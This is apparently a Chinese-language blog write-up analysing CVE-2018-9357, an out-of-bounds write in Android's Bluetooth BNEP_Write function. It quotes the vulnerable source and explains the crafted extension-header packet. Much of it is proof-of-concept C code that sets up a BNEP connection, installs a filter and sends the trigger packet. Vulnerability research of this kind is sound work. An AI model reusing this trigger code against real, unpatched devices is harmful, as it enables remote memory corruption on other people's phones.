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【蓝牙】CVE-2018-9357 BNEP_Write越界写导致RCE

补丁

  • https://android.googlesource.com/platform/system/bt/+/9164ee1aaf3609b4771d39302e3af649f44c9e66

这个漏洞我本来想先自己分析出来，但是没有找到漏洞点

我们先来看漏洞函数，这个函数是用于在BNEP连接里传输数据，所以我们需要先进行BNEP连接，一次BNEP连接，在处理数据包的时候，如果传入的是包指定了协议BNEP_802_1_P_PROTOCOL，就会触发漏洞

/*******************************************************************************
 *
 * Function         BNEP_Write
 *
 * Description      This function sends data over a BNEP connection
 *
 * Parameters:      handle       - handle of the connection to write
 *                  p_dest_addr  - BD_ADDR/Ethernet addr of the destination
 *                  p_data       - pointer to data start
 *                  protocol     - protocol type of the packet
 *                  p_src_addr   - (optional) BD_ADDR/ethernet address of the
 *                                 source
 *                                 (should be NULL if it is local BD Addr)
 *                  fw_ext_present - forwarded extensions present
 *
 * Returns:         BNEP_WRONG_HANDLE       - if passed handle is not valid
 *                  BNEP_MTU_EXCEDED        - If the data length is greater than
 *                                            the MTU
 *                  BNEP_IGNORE_CMD         - If the packet is filtered out
 *                  BNEP_Q_SIZE_EXCEEDED    - If the Tx Q is full
 *                  BNEP_NO_RESOURCES       - If not able to allocate a buffer
 *                  BNEP_SUCCESS            - If written successfully
 *
 ******************************************************************************/
tBNEP_RESULT BNEP_Write(uint16_t handle, const RawAddress& p_dest_addr,
                        uint8_t* p_data, uint16_t len, uint16_t protocol,
                        const RawAddress* p_src_addr, bool fw_ext_present) {
    tBNEP_CONN* p_bcb;
    uint8_t* p;

    // MTU检查
    /* Check MTU size. Consider the possibility of having extension headers */
    if (len > BNEP_MTU_SIZE) {
        BNEP_TRACE_ERROR("BNEP_Write() length %d exceeded MTU %d", len, BNEP_MTU_SIZE);
        return (BNEP_MTU_EXCEDED);
    }

    // handle检查
    if ((!handle) || (handle > BNEP_MAX_CONNECTIONS)) return (BNEP_WRONG_HANDLE);

    p_bcb = &(bnep_cb.bcb[handle - 1]); // 获取p_pcb

    /* Check if the packet should be filtered out */
    if (bnep_is_packet_allowed(p_bcb, p_dest_addr, protocol, fw_ext_present, p_data) != BNEP_SUCCESS) {
        /*
        ** If packet is filtered and ext headers are present
        ** drop the data and forward the ext headers
        */
        if (fw_ext_present) {
            uint8_t ext, length;
            uint16_t org_len, new_len;
            /* parse the extension headers and findout the new packet len */
            org_len = len; // org_len表示Buffer原本长度
            new_len = 0;   // new_len表示新的Buffer长度
            p = p_data;    // p表示Buffer原始起始地址
            do {
                ext = *p_data++;    // 获取第一个字节作为ext
                length = *p_data++; // 获取第二个字节作为length
                p_data += length;   // 移动p_data指向下一个扩展起始地址

                new_len += (length + 2); // new_length加上ext，length两字节，再加上length长度的数据

                if (new_len > org_len) return BNEP_IGNORE_CMD; // new_len不能超过原始Buffer整体长度org_len

            } while (ext & 0x80);

            if (protocol != BNEP_802_1_P_PROTOCOL)
                protocol = 0;
            else {
                // new_len加上4
                new_len += 4;
                p_data[2] = 0;
                p_data[3] = 0;
            }
            len = new_len; // len为最终的新Buffer长度
            p_data = p; // p_data重新指向Buffer起始
        } else
            return BNEP_IGNORE_CMD;
    }
    
    ...
}

通过阅读POC，如下构造数据包，传入BNEP()的p_data就是ext_1开始往后的数据

  1. 第一轮循环：ext为0x81，表示还有一个ext，length为0x00，这样一轮循环后，p_data就指向了ext_2，new_len为2

  2. 第二轮循环：ext为0x00，表示后面没有ext了，length为0x00，第二轮循环结束后，p_data指向OOB

出了循环，指定protocol为0x8100也就是BNEP_802_1_P_PROTOCOL，就可以进入else分支，new_len加上4我没有理解在计算什么，后面直接对p_data[2]和p_data[3]进行赋值操作，此时完全没有判断OOB[0]开始往后4个字节属于Buffer边界内，这就是一个越界写漏洞

| ext(1) | dst_addr(6) | src_addr(6) | Protocol(2) | ext_1(1) | Len_1(1) | ext_2(1) | Len_2(1) | OOB[0] | OOB[1] | OOB[2] | OOB[3] | | - | - | - | - | - | - | - | - | - | - | - | - | - | - | | 0x80 | | | 0x8100 | 0x81 | 0x00 | 0x00 | 0x00 | | |||||

构造关键数据包的步骤如下

static int send_trigger_req(int sock_fd, uint8_t *dst, uint8_t *src) 
{
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x200);
	memset(buf, 0, 0x200);

	uint8_t type = 0x80; // for ext
	*p++ = type;

    uint8_t dst_addr[6], src_addr[6];
    getbd(dst, dst_addr);
	memcpy(p, dst_addr, 6); // dst_addr
	p += 6;

    getbd(src, src_addr);
	memcpy(p, src_addr, 6); //src_add
	p += 6;

	// #define BNEP_802_1_P_PROTOCOL 0x8100
	uint16_t protocol = 0x8100;
	UINT16_TO_BE_STREAM(p, protocol);

	// rem_len start 
	uint8_t ext_type = 0x81;
	*p++ = ext_type;  // enter while loop, and break

	uint8_t len = 0x00;
	*p++ = len;    // new_len = 2

	uint8_t ext2 = 0x00;
	*p++ = ext2;

	uint8_t *p_len2 = p; // 此时p和p_len2指向的是Len_2
	p++; // p加1，指向OOB[0]

	uint8_t len2 = p - buf - 15 - 2 - 2; // 这里计算出来就是0，len2 = 0
	UINT8_TO_BE_STREAM(p_len2, len2);    // 将0写到Len2_2的位置

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}

那么我们现在来看完整的攻击流程，第一步是建立BNEP连接，BNEP包格式如下，E为扩展标志位

BNEP Packet Type有如下几种类型，我们选择BNEP_GENERAL_ETHERNET

ValueBNEP Packet Type

0x00

BNEP_GENERAL_ETHERNET

0x01

BNEP_CONTROL

0x02

BNEP_COMPRESSED_ETHERNET

0x03

BNEP_COMPRESSED_ETHERNET_SOURCE_ONLY

0x04

BNEP_COMPRESSED_ETHERNET_DEST_ONLY

0x05 - 0x7E

Reserved for future use

0x7F

Reserved for 802.2 LLC Packets for IEEE 802.15.1 WG

BNEP Control Type设置的是BNEP_SETUP_CONNECTION_REQUEST_MSG，此处不添加扩展数据

整个连接请求包的格式

其中Destination Service UUID和Source Service UUID长度不固定，最少是2个字节

Destination Service UUID: Size: 2-16 Bytes

ValueParameter Description

0xXX

Depending on the UUID Size parameter, this is a 2-16 byte field containing the destination (service which the source device is connecting to) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.

Source Service UUID: Size: 2-16 Bytes

ValueParameter Description

0xXX

Depending on the UUID Size parameter, this is a 2-16 byte field containing the source (the service that the source device is using for the BNEP connection) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.

BNEP_SETUP_CONNECTION_REQUEST_MSG包的构造过程如下

static int send_frame_ctrl_conn_req(int sock_fd){
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG;
	*p++ = ctrl_type;

	uint8_t len = 0x02;
	*p++ = len;

	uint16_t SRC_UUID = 0x1116; // PAN profile
	uint16_t DST_UUID = 0x1115; // PAN profile
	UINT16_TO_BE_STREAM(p, SRC_UUID);  // src_uuid
	UINT16_TO_BE_STREAM(p, DST_UUID); // dst_uuid

	uint16_t protocol = 0x0000;
	UINT16_TO_BE_STREAM(p, protocol);

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}

设置filter

static int send_frame_ctrl_filter_net_req(int sock_fd)
{
	// to make p_bcb->recv_num_filters not 0
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_FILTER_NET_TYPE_SET_MSG;  // no ext
	*p++ = ctrl_type;

	uint16_t len = 0x04; // this make num_filters = 0x01
	UINT16_TO_BE_STREAM(p, len);  // len

	uint16_t start = 0xfffe;  // must meet condition (protocol < start || protocol > end)
	uint16_t end = 0xffff;    // then bnep_is_packet_allowd return un-SUCCESS.
	UINT16_TO_BE_STREAM(p, start);
	UINT16_TO_BE_STREAM(p, end);

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}
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